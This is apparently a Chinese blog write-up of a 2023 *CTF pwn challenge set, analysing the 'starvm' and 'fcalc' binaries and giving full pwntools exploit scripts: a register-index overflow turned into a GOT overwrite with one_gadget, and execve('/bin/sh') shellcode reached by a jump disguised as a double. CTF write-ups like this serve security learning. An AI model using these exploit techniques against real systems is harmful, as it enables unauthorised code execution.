2023-*ctf部分复现-pwn

本文最后更新于:2023年8月6日 下午

2023-*ctf部分复现-pwn

这次比赛跟着团队打的,笔者题目都还没逆明白呢,师傅们就把pwn ak了,实在是太强了。

starvm

查看保护。

image-20230802212338355

题目使用C++实现了一个简单虚拟机,关键就是识别出虚拟机的结构体。

结构体大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct vm
{
vector code;
vector cmd;
void *ip;
int regs[14];
char *heap;
int flag;
};

struct vector
{
void *start;
void *end;
void *storage;
};

这里sub_4014A0输入操作码,sub_401630输入操作数。

image-20230806161817312

接下来,简单分析下各个操作码功能。

1
2
3
4
5
6
7
8
9
10
11
0: reg[id1] = reg[id2]
1: reg[id1] < reg[id2] flag = 2; reg[id1] = reg[id2] flag = 0
2: reg[id1] += reg[id2]
3: reg[id1] -= reg[id2]
4: start += reg[id1] if id2 > 0
5, 8, 9: reg[id1] &= reg[id2]
6: reg[id1] = heap[4 * id2]
7: heap[4 * id2] = reg[id1]
10: reg[id1] = id2
11: end = reg[id1]
12: reg[id1] = *(end - 1)

这里漏洞点主要是,操作码10并未检查reg索引,存在reg数组越界漏洞。

image-20230802214725862

image-20230806161507670

整体利用思路为:

  1. 利用数组越界将puts_got写入heap中
  2. 利用6功能将heap内容,即puts_got表内容写入regs数组中
  3. 根据偏移得到出one_gadget的地址
  4. 利用7功能将one_gadget写入heap中,也即puts_got表
  5. 最后利用7功能中id1越界检查触发one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './starvm'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)

else:
p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

command = '''
b *0x401700
b *0x401A34
b *0x401480
'''

puts_got = elf.got['puts']

# dbg(command)

payload = [10, 6, 10, 6, 10, 2, 10, 7, 7]
payload = ' '.join([str(x) for x in payload])
payload += ' 16'
p.sendlineafter('your command:', payload)

payload = [
14, puts_got, # 10
0, 0, # 6
14, puts_got + 4, # 10
1, 0, # 6
2, 0x6aee3, # 10
0, 2, # 2
14, puts_got, # 10
0, 0, # 7
18, 0, # 7 trigger
0xdeadbeef
]
payload = ' '.join([str(x) for x in payload])
p.sendlineafter('your cost:', payload)

p.interactive()

image-20230806161715661

fcalc

查看保护。

image-20230802215714010

程序实现了输入浮点数计算的功能。

程序的数据检查存在疏漏,当输入’\x30’时,可以进入else流程。

image-20230802215805696

else流程首先检查输入浮点数的合法性,然后根据函数指针数组调用指定函数。

image-20230802220022923

当输入为’\x30’时,程序会调用qword_4060[16],这里存在溢出,刚好能够把我们输入的内容作为shellcode调用。

image-20230802220203574

这道题比较难的部分,也就是书写符合要求的shellcode。但是我们注意到,当我们输入’\x00’时,会立即调用fun_ptr,并不会对后续输入转换。可以想到,写入跳转指令,然后跳转到我们的shellcode上,即可获取shell。

这里跳转指令如何找呢?通过调试,可以发现我们写入的shellcode在fun_ptr上方,我们需要的就是jmp -0x??这样的指令。这里直接使用在线网站转换即可。

image-20230802221431543

需要注意的是,我们写入的跳转指令还需要满足else流程的检查。这里涉及到c语言浮点数的基础知识,c语言浮点数符合IEEE规则。对于double类型的浮点数,第一位为符号位,第2~12位为阶码,剩下的52位,即6个字节左右。这里为了满足大小要求只需要设置前12位即可,剩下的52位是我们可以随意写的,也就是可以写入我们的跳转指令。

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './fcalc'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)

else:
p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

dbg('b *$rebase(0x1867)')

shellcode = asm('''
xor rsi, rsi
mul rsi

push rax
mov rbx, 0x68732f2f6e69622f
push rbx

mov rdi, rsp
mov al, 59

syscall
''')

# print(len(shellcode))

payload = b'1 1 0'.ljust(0x10, b'\x00')
payload += shellcode.ljust(0x40, b'\x00')
payload += p64(0x3ff000000000beeb)

p.sendafter(b'Enter your expression:\n', payload)

p.interactive()

image-20230803102932472

drop

这是一道rust pwn,笔者暂时逆不太出来,之后学这方面的内容再来填坑吧。


2023-*ctf部分复现-pwn
http://example.com/2023/08/01/2023-starctf部分复现-pwn/
作者
l1s00t
发布于
2023年8月1日
更新于
2023年8月6日
许可协议